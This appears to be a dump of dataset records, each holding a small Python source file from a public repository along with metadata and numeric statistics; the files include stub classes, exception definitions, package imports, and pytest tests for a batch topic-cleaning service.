5090ecc52653a879e1e20c3598cb5030d2ce3e72 | 93 | py | Python | vit/formatter/scheduled_formatted.py | kinifwyne/vit | e2cbafce922b1e09c4a66e7dc9592c51fe628e9d | [
"MIT"
] | 179 | 2020-07-28T08:21:51.000Z | 2022-03-30T21:39:37.000Z | vit/formatter/scheduled_formatted.py | kinifwyne/vit | e2cbafce922b1e09c4a66e7dc9592c51fe628e9d | [
"MIT"
] | 255 | 2017-02-01T11:49:12.000Z | 2020-07-26T22:31:25.000Z | vit/formatter/scheduled_formatted.py | kinifwyne/vit | e2cbafce922b1e09c4a66e7dc9592c51fe628e9d | [
"MIT"
] | 26 | 2017-01-17T20:31:13.000Z | 2020-06-17T13:09:01.000Z | from vit.formatter.scheduled import Scheduled
class ScheduledFormatted(Scheduled):
pass
| 18.6 | 45 | 0.817204 | 10 | 93 | 7.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 93 | 4 | 46 | 23.25 | 0.938272 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
50b404a20b6b5247319234cb273258d88d096814 | 214 | py | Python | flexmeasures/data/models/planning/exceptions.py | FlexMeasures/flexmeasures | a4367976d37ac5721b8eb3ce8a2414595e52c678 | [
"Apache-2.0"
] | 12 | 2021-12-18T10:41:10.000Z | 2022-03-29T23:00:29.000Z | flexmeasures/data/models/planning/exceptions.py | FlexMeasures/flexmeasures | a4367976d37ac5721b8eb3ce8a2414595e52c678 | [
"Apache-2.0"
] | 103 | 2021-12-07T08:51:15.000Z | 2022-03-31T13:28:48.000Z | flexmeasures/data/models/planning/exceptions.py | FlexMeasures/flexmeasures | a4367976d37ac5721b8eb3ce8a2414595e52c678 | [
"Apache-2.0"
] | 3 | 2022-01-18T04:45:48.000Z | 2022-03-14T09:48:22.000Z | class MissingAttributeException(Exception):
pass
class UnknownMarketException(Exception):
pass
class UnknownPricesException(Exception):
pass
class WrongTypeAttributeException(Exception):
pass
| 14.266667 | 45 | 0.785047 | 16 | 214 | 10.5 | 0.4375 | 0.309524 | 0.321429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.158879 | 214 | 14 | 46 | 15.285714 | 0.933333 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
50e07f9cb689cc6c6184e548267a3670d6b5bca6 | 1,042 | py | Python | challenges/ll-zip/ll-zip/tests/test_ll_zip.py | ebrahimayyad11/data-structures-and-algorithms | c85b0de90f887478456faf1fafae78bd80fbfd2e | [
"MIT"
] | null | null | null | challenges/ll-zip/ll-zip/tests/test_ll_zip.py | ebrahimayyad11/data-structures-and-algorithms | c85b0de90f887478456faf1fafae78bd80fbfd2e | [
"MIT"
] | 5 | 2021-06-13T19:42:42.000Z | 2021-07-12T18:00:54.000Z | challenges/ll-zip/ll-zip/tests/test_ll_zip.py | ebrahimayyad11/data-structures-and-algorithms | c85b0de90f887478456faf1fafae78bd80fbfd2e | [
"MIT"
] | null | null | null | from ll_zip.linked_list import LinkedList
from ll_zip import __version__
from ll_zip.ll_zip import ll_zip
def test_version():
assert __version__ == '0.1.0'
def test_ll_zip_1():
ll1 = LinkedList()
ll2 = LinkedList()
ll1.append(1)
ll1.append(3)
ll1.append(2)
ll2.append(5)
ll2.append(9)
ll2.append(4)
excepted = 'Head -> (1) -> (5) -> (3) -> (9) -> (2) -> (4) -> Null'
actual = ll_zip(ll1,ll2)
assert actual == excepted
def test_ll_zip_2():
ll1 = LinkedList()
ll2 = LinkedList()
ll1.append(1)
ll1.append(3)
ll2.append(5)
ll2.append(9)
ll2.append(4)
excepted = 'Head -> (1) -> (5) -> (3) -> (9) -> (4) -> Null'
actual = ll_zip(ll1,ll2)
assert actual == excepted
def test_ll_zip():
ll1 = LinkedList()
ll2 = LinkedList()
ll1.append(1)
ll1.append(3)
ll1.append(2)
ll2.append(5)
ll2.append(9)
excepted = 'Head -> (1) -> (5) -> (3) -> (9) -> (2) -> Null'
actual = ll_zip(ll1,ll2)
assert actual == excepted | 18.607143 | 71 | 0.565259 | 151 | 1,042 | 3.728477 | 0.165563 | 0.097691 | 0.056838 | 0.063943 | 0.776199 | 0.776199 | 0.776199 | 0.744227 | 0.744227 | 0.671403 | 0 | 0.084197 | 0.259117 | 1,042 | 56 | 72 | 18.607143 | 0.645078 | 0 | 0 | 0.717949 | 0 | 0.076923 | 0.146692 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 1 | 0.102564 | false | 0 | 0.076923 | 0 | 0.179487 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0fdef1d6e164092e4f858cfa96e7c7ec0d5dad2a | 59 | py | Python | LT/models/__init__.py | Dong-JinKim/Parametric-Contrastive-Learning | 62bcfa691db29d3a7a0b0760e870cd62eb7b66fb | [
"MIT"
] | 85 | 2021-08-04T14:27:56.000Z | 2022-03-30T13:35:36.000Z | LT/models/__init__.py | Dong-JinKim/Parametric-Contrastive-Learning | 62bcfa691db29d3a7a0b0760e870cd62eb7b66fb | [
"MIT"
] | 12 | 2021-08-23T15:57:06.000Z | 2022-03-30T03:31:54.000Z | LT/models/__init__.py | Dong-JinKim/Parametric-Contrastive-Learning | 62bcfa691db29d3a7a0b0760e870cd62eb7b66fb | [
"MIT"
] | 9 | 2021-08-10T03:04:15.000Z | 2022-01-09T14:00:05.000Z | from .resnet_cifar import *
from .resnet_imagenet import *
| 19.666667 | 30 | 0.79661 | 8 | 59 | 5.625 | 0.625 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135593 | 59 | 2 | 31 | 29.5 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0fe3014bc35ef9c6f5a5dbe5d0aa4e251d15bc15 | 19 | py | Python | utils/__init__.py | SionHu/LP-MOT | 90e6a1d51ebe1a948ac5c018a5ee560654e824f1 | [
"MIT"
] | null | null | null | utils/__init__.py | SionHu/LP-MOT | 90e6a1d51ebe1a948ac5c018a5ee560654e824f1 | [
"MIT"
] | null | null | null | utils/__init__.py | SionHu/LP-MOT | 90e6a1d51ebe1a948ac5c018a5ee560654e824f1 | [
"MIT"
] | null | null | null | from .OF import *
| 9.5 | 18 | 0.631579 | 3 | 19 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.263158 | 19 | 1 | 19 | 19 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ba1f8bf45ccceae165160db8a4d23a7598b706ff | 162 | py | Python | notebooks/add_to_syspath.py | nicogab34/AudioMNIST | 39d8bf5eb2bf5d8a32d21d3d5549935cb4a62931 | [
"MIT"
] | null | null | null | notebooks/add_to_syspath.py | nicogab34/AudioMNIST | 39d8bf5eb2bf5d8a32d21d3d5549935cb4a62931 | [
"MIT"
] | null | null | null | notebooks/add_to_syspath.py | nicogab34/AudioMNIST | 39d8bf5eb2bf5d8a32d21d3d5549935cb4a62931 | [
"MIT"
] | 1 | 2019-09-17T15:26:35.000Z | 2019-09-17T15:26:35.000Z | #Making root folder available to notebook
import os
import sys
if os.path.split(os.getcwd())[0] not in sys.path : sys.path.append(os.path.split(os.getcwd())[0]) | 32.4 | 97 | 0.734568 | 30 | 162 | 3.966667 | 0.566667 | 0.10084 | 0.184874 | 0.218487 | 0.336134 | 0.336134 | 0 | 0 | 0 | 0 | 0 | 0.013889 | 0.111111 | 162 | 5 | 97 | 32.4 | 0.8125 | 0.246914 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e84b30c4073b9c869d9bfef77ad08dffec3ffe4c | 44 | py | Python | wikisync/__init__.py | ivanchoo/TracWikiSync | 529f226b351efe49983191723e4e04ffd0ab325a | [
"MIT"
] | 1 | 2016-10-07T11:33:20.000Z | 2016-10-07T11:33:20.000Z | wikisync/__init__.py | InQuant/TracWikiSync | 60d95c59176829b2c9a6d29e27364823b08b5e0d | [
"MIT"
] | 3 | 2015-02-23T04:09:41.000Z | 2018-07-30T06:00:00.000Z | wikisync/__init__.py | InQuant/TracWikiSync | 60d95c59176829b2c9a6d29e27364823b08b5e0d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from plugin import * | 22 | 23 | 0.590909 | 6 | 44 | 4.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.027778 | 0.181818 | 44 | 2 | 24 | 22 | 0.694444 | 0.477273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e8a627e75e308cff7591c61f45e8aa49ef79212e | 34 | py | Python | src/app/__init__.py | kamilcieslik/test_house_price_app | f7c5786d0e79e23bafaedd24088aa506c04b5527 | [
"MIT"
] | 1 | 2019-02-15T03:42:43.000Z | 2019-02-15T03:42:43.000Z | src/app/__init__.py | kamilcieslik/test_house_price_app | f7c5786d0e79e23bafaedd24088aa506c04b5527 | [
"MIT"
] | 1 | 2021-06-01T22:12:11.000Z | 2021-06-01T22:12:11.000Z | src/app/__init__.py | kamilcieslik/test_house_price_app | f7c5786d0e79e23bafaedd24088aa506c04b5527 | [
"MIT"
] | null | null | null | from src import MainGuiController
| 17 | 33 | 0.882353 | 4 | 34 | 7.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 1 | 34 | 34 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
e8c4e9b4bf333b045244e0cf0dcca3363a38fa12 | 31 | py | Python | kmeans/heyo.py | davgra04/kmeans | ba481b4d329ed47a4e1bec2149a5c4a24d5e6fe7 | [
"MIT"
] | null | null | null | kmeans/heyo.py | davgra04/kmeans | ba481b4d329ed47a4e1bec2149a5c4a24d5e6fe7 | [
"MIT"
] | null | null | null | kmeans/heyo.py | davgra04/kmeans | ba481b4d329ed47a4e1bec2149a5c4a24d5e6fe7 | [
"MIT"
] | null | null | null |
def heyo():
print("heyo")
| 7.75 | 17 | 0.516129 | 4 | 31 | 4 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.258065 | 31 | 3 | 18 | 10.333333 | 0.695652 | 0 | 0 | 0 | 0 | 0 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
fa06f4c164b47392c3321296e20f69265cebf9b6 | 109 | py | Python | src/solr_channel/consumers/__init__.py | sonne-academic/django-middleware | 6a400f279a877f26b9d320eb23f1d2b869ba5027 | [
"Apache-2.0"
] | null | null | null | src/solr_channel/consumers/__init__.py | sonne-academic/django-middleware | 6a400f279a877f26b9d320eb23f1d2b869ba5027 | [
"Apache-2.0"
] | null | null | null | src/solr_channel/consumers/__init__.py | sonne-academic/django-middleware | 6a400f279a877f26b9d320eb23f1d2b869ba5027 | [
"Apache-2.0"
] | null | null | null | from .JsonRpcSolrPassthrough import JsonRpcSolrPassthrough
from .JsonRpcHandlerBase import JsonRpcHandlerBase | 54.5 | 58 | 0.917431 | 8 | 109 | 12.5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.06422 | 109 | 2 | 59 | 54.5 | 0.980392 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 6 |
fa273803b6a2b2a3b1da4676845d8fddb4bee535 | 92 | py | Python | test/templates/Test/apps/Hello/views.py | timgates42/uliweb | 80c0459c5e5d257b665eb2e1d0b5f68ad55c42f1 | [
"BSD-2-Clause"
] | 202 | 2015-01-12T08:10:48.000Z | 2021-11-08T09:04:32.000Z | test/templates/Test/apps/Hello/views.py | timgates42/uliweb | 80c0459c5e5d257b665eb2e1d0b5f68ad55c42f1 | [
"BSD-2-Clause"
] | 30 | 2015-01-01T09:07:17.000Z | 2021-06-03T12:58:45.000Z | test/templates/Test/apps/Hello/views.py | timgates42/uliweb | 80c0459c5e5d257b665eb2e1d0b5f68ad55c42f1 | [
"BSD-2-Clause"
] | 58 | 2015-01-12T03:28:54.000Z | 2022-01-14T01:58:08.000Z | #coding=utf-8
from uliweb import expose, functions
@expose('/')
def index():
return {}
| 13.142857 | 36 | 0.663043 | 12 | 92 | 5.083333 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013158 | 0.173913 | 92 | 6 | 37 | 15.333333 | 0.789474 | 0.130435 | 0 | 0 | 0 | 0 | 0.012658 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
ad1c8cf713b468a732d8e0bb0882116dc5d81f26 | 44 | py | Python | ionmq/__init__.py | anton-trapeznikov/ion-mq | 2c7a8602a0d6f870bdfb8605b65c3ed404579998 | [
"MIT"
] | null | null | null | ionmq/__init__.py | anton-trapeznikov/ion-mq | 2c7a8602a0d6f870bdfb8605b65c3ed404579998 | [
"MIT"
] | null | null | null | ionmq/__init__.py | anton-trapeznikov/ion-mq | 2c7a8602a0d6f870bdfb8605b65c3ed404579998 | [
"MIT"
] | null | null | null | from .ionmq import IonMQBroker, IonMQClient
| 22 | 43 | 0.840909 | 5 | 44 | 7.4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113636 | 44 | 1 | 44 | 44 | 0.948718 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
ad57ec65ddbd78655fcf214f9159b4c5dc4670cf | 23 | py | Python | a.3.2.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | null | null | null | a.3.2.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | 1 | 2021-10-18T09:59:45.000Z | 2021-10-18T09:59:45.000Z | a.3.2.py | AmanMishra148/python-repo | 5b07fe19f2058fc2c909b96ae173f4346ac8d3da | [
"bzip2-1.0.6"
] | 4 | 2021-10-18T09:40:54.000Z | 2021-10-19T14:14:28.000Z | import A1
print(A1.a)
| 5.75 | 11 | 0.695652 | 5 | 23 | 3.2 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0.173913 | 23 | 3 | 12 | 7.666667 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
ad7575b6d31432d7c404c976e0e636141bad5a7c | 24 | py | Python | src/__init__.py | anishLearnsToCode/word-sense-disambiguation | 1613e1d929cb08c2dfb6ee264bb218cae91ad43e | [
"MIT"
] | 6 | 2021-06-13T14:56:30.000Z | 2022-02-02T14:41:06.000Z | src/__init__.py | anishLearnsToCode/word-sense-disambiguation | 1613e1d929cb08c2dfb6ee264bb218cae91ad43e | [
"MIT"
] | 1 | 2021-04-27T07:42:55.000Z | 2021-07-12T08:36:26.000Z | src/__init__.py | anishLearnsToCode/word-sense-disambiguation | 1613e1d929cb08c2dfb6ee264bb218cae91ad43e | [
"MIT"
] | null | null | null | from src.utils import *
| 12 | 23 | 0.75 | 4 | 24 | 4.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 24 | 1 | 24 | 24 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
d12c76c3aca8032c7d80901ecd820f23d356ac98 | 69 | py | Python | banana_octo_py/core.py | charlesreid1/banana-octo-py | aab96d7550121dc876ebcac7d0343aebda9199c8 | [
"MIT"
] | null | null | null | banana_octo_py/core.py | charlesreid1/banana-octo-py | aab96d7550121dc876ebcac7d0343aebda9199c8 | [
"MIT"
] | null | null | null | banana_octo_py/core.py | charlesreid1/banana-octo-py | aab96d7550121dc876ebcac7d0343aebda9199c8 | [
"MIT"
] | null | null | null | def hello_core():
return "Hello world! This is the core.py file"
| 23 | 50 | 0.695652 | 12 | 69 | 3.916667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.202899 | 69 | 2 | 51 | 34.5 | 0.854545 | 0 | 0 | 0 | 0 | 0 | 0.536232 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
d1614aa253ffee1dccb9de3a055a0c6f839beba6 | 3,632 | py | Python | tests/river/unit/topicleaner/test_service.py | arkhn/fhir-river | a12179c34fad131d16dedc20c61297ed83d805e6 | [
"Apache-2.0"
] | 42 | 2020-03-25T16:47:30.000Z | 2022-01-31T21:26:38.000Z | tests/river/unit/topicleaner/test_service.py | arkhn/fhir-river | a12179c34fad131d16dedc20c61297ed83d805e6 | [
"Apache-2.0"
] | 367 | 2020-04-08T12:46:34.000Z | 2022-02-16T01:15:32.000Z | tests/river/unit/topicleaner/test_service.py | arkhn/fhir-river | a12179c34fad131d16dedc20c61297ed83d805e6 | [
"Apache-2.0"
] | 3 | 2020-05-14T08:24:46.000Z | 2021-08-04T05:00:16.000Z | import pytest
from river.adapters.progression_counter import InMemoryProgressionCounter
from river.adapters.topics import InMemoryTopicsManager
from river.topicleaner.service import clean
pytestmark = pytest.mark.django_db
def test_done_batch_is_cleaned(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={f"{batch.id}:{resource.id}": {"extracted": 10, "loaded": 10} for resource in batch.resources.all()}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics == set()
def test_done_batch_is_cleaned_with_failed(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={
f"{batch.id}:{resource.id}": {"extracted": 10, "loaded": 6, "failed": 4}
for resource in batch.resources.all()
}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics == set()
def test_ongoing_batch_is_not_cleaned(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={f"{batch.id}:{resource.id}": {"extracted": 10, "loaded": 9} for resource in batch.resources.all()}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics != set()
def test_ongoing_batch_is_not_cleaned_with_failed(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={
f"{batch.id}:{resource.id}": {"extracted": 10, "loaded": 6, "failed": 2}
for resource in batch.resources.all()
}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics != set()
def test_none_counter_prevents_cleaning(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={f"{batch.id}:{resource.id}": {"extracted": None, "loaded": 10} for resource in batch.resources.all()}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics != set()
def test_missing_counter_prevents_cleaning(batch_factory, resource_factory):
r1, r2 = resource_factory.create_batch(2)
batch = batch_factory.create(resources=[r1, r2])
counters = InMemoryProgressionCounter(
counts={f"{batch.id}:{resource.id}": {"extracted": 10, "loaded": 10} for resource in batch.resources.all()[1:]}
)
topics = InMemoryTopicsManager(
topics=[f"{base_topic}.{batch.id}" for base_topic in ["batch", "extract", "transform", "load"]]
)
clean(counters, topics)
assert topics._topics != set()
| 35.262136 | 119 | 0.680617 | 427 | 3,632 | 5.601874 | 0.138173 | 0.060201 | 0.050167 | 0.067726 | 0.910535 | 0.910535 | 0.898411 | 0.898411 | 0.898411 | 0.898411 | 0 | 0.017461 | 0.180066 | 3,632 | 102 | 120 | 35.607843 | 0.785762 | 0 | 0 | 0.597403 | 0 | 0 | 0.147026 | 0.077643 | 0 | 0 | 0 | 0 | 0.077922 | 1 | 0.077922 | false | 0 | 0.051948 | 0 | 0.12987 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0f37b5f6dd8091ae9f4b14870ad10b136c902c51 | 119 | py | Python | mediafeed/wsgi.py | media-feed/mediafeed | c2fb37b20a5bc41a4299193fa9b11f8a3e3b2acf | [
"MIT"
] | null | null | null | mediafeed/wsgi.py | media-feed/mediafeed | c2fb37b20a5bc41a4299193fa9b11f8a3e3b2acf | [
"MIT"
] | null | null | null | mediafeed/wsgi.py | media-feed/mediafeed | c2fb37b20a5bc41a4299193fa9b11f8a3e3b2acf | [
"MIT"
] | null | null | null | from . import init, start_background_jobs
from .api.server import application # NOQA
init()
start_background_jobs()
| 17 | 43 | 0.789916 | 16 | 119 | 5.625 | 0.625 | 0.2 | 0.422222 | 0.511111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134454 | 119 | 6 | 44 | 19.833333 | 0.873786 | 0.033613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0f4cfbd667d25b80cc0bd40ae44b69396a8703a0 | 26 | py | Python | raysect/optical/library/glass/__init__.py | Gjacquenot/source | 5f9b86bbb44c25b5096d637d65e41e257a9bda3c | [
"BSD-3-Clause"
] | 71 | 2015-10-25T16:50:18.000Z | 2022-03-02T03:46:19.000Z | raysect/optical/library/glass/__init__.py | Gjacquenot/source | 5f9b86bbb44c25b5096d637d65e41e257a9bda3c | [
"BSD-3-Clause"
] | 336 | 2015-02-11T22:39:54.000Z | 2022-02-22T18:42:32.000Z | raysect/optical/library/glass/__init__.py | Gjacquenot/source | 5f9b86bbb44c25b5096d637d65e41e257a9bda3c | [
"BSD-3-Clause"
] | 24 | 2016-09-11T17:12:10.000Z | 2022-02-24T22:57:09.000Z | from .schott import schott | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
